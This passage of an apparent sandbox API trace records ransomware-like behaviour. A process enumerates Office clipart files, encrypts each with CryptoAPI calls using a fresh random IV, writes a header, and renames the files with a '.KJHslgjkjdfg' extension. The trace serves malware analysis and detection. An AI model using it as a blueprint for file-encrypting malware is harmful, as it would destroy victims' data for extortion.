dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.985] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0188.991] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.991] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.991] GetProcessHeap () returned 0x990000 [0188.991] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.991] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.991] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.991] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.991] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.991] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.991] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.992] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.992] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.992] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.992] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.992] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.992] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13ea, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x13ea, lpOverlapped=0x0) returned 1 [0188.993] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13f0) returned 1 [0188.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.993] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x13f0, lpOverlapped=0x0) returned 1 [0188.993] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.993] SetEndOfFile (hFile=0x130) returned 1 [0188.996] GetProcessHeap () returned 0x990000 [0188.996] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.996] GetProcessHeap () returned 0x990000 [0188.996] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.kjhslgjkjdfg")) returned 1 [0188.997] CloseHandle (hObject=0x130) returned 1 [0188.997] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d9a300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4d9a300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1 [0188.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.998] GetProcessHeap () returned 0x990000 [0188.998] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.998] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.998] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0189.003] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.003] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.003] GetProcessHeap () returned 0x990000 [0189.003] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.003] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.003] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.003] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.003] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.003] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.003] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.004] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.004] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.004] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.004] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x22de, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x22de, lpOverlapped=0x0) returned 1 [0189.005] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x22e0, dwBufLen=0x22e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x22e0) returned 1 [0189.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.005] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x22e0, lpOverlapped=0x0) returned 1 [0189.005] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x23b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.005] SetEndOfFile (hFile=0x130) returned 1 [0189.008] GetProcessHeap () returned 0x990000 [0189.008] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.008] GetProcessHeap () returned 0x990000 [0189.008] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.kjhslgjkjdfg")) returned 1 [0189.009] CloseHandle (hObject=0x130) returned 1 [0189.009] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a87600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3a87600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1 [0189.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.010] GetProcessHeap () returned 0x990000 [0189.010] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.010] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.010] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0189.013] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.013] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.013] GetProcessHeap () returned 0x990000 [0189.013] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.013] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.013] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.013] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.013] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.013] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.013] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.013] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.013] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.013] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.014] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.014] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x43fe, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x43fe, lpOverlapped=0x0) returned 1 [0189.015] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4400, dwBufLen=0x4400 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4400) returned 1 [0189.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.015] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4400, lpOverlapped=0x0) returned 1 [0189.015] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x44d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.015] SetEndOfFile (hFile=0x130) returned 1 [0189.018] GetProcessHeap () returned 0x990000 [0189.018] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.018] GetProcessHeap () returned 0x990000 [0189.018] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.018] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.kjhslgjkjdfg")) returned 1 [0189.019] CloseHandle (hObject=0x130) returned 1 [0189.019] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2774900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2774900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1 [0189.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.020] GetProcessHeap () returned 0x990000 [0189.020] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.020] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.020] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.020] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.020] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.020] GetProcessHeap () returned 0x990000 [0189.020] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.020] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.020] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.020] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.023] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.023] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.023] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.023] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.023] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.023] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.024] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.024] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5c0, lpOverlapped=0x0) returned 1 [0189.024] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c0) returned 1 [0189.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.024] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5c0, lpOverlapped=0x0) returned 1 [0189.024] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.024] SetEndOfFile (hFile=0x130) returned 1 [0189.026] GetProcessHeap () returned 0x990000 [0189.026] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.026] GetProcessHeap () returned 0x990000 [0189.026] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.kjhslgjkjdfg")) returned 1 [0189.027] CloseHandle (hObject=0x130) returned 1 [0189.028] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d3100, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf50d3100, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0189.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.029] GetProcessHeap () returned 0x990000 [0189.029] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.029] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.029] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.032] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.032] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.032] GetProcessHeap () returned 0x990000 [0189.032] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.032] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.032] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.032] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.032] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.032] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, 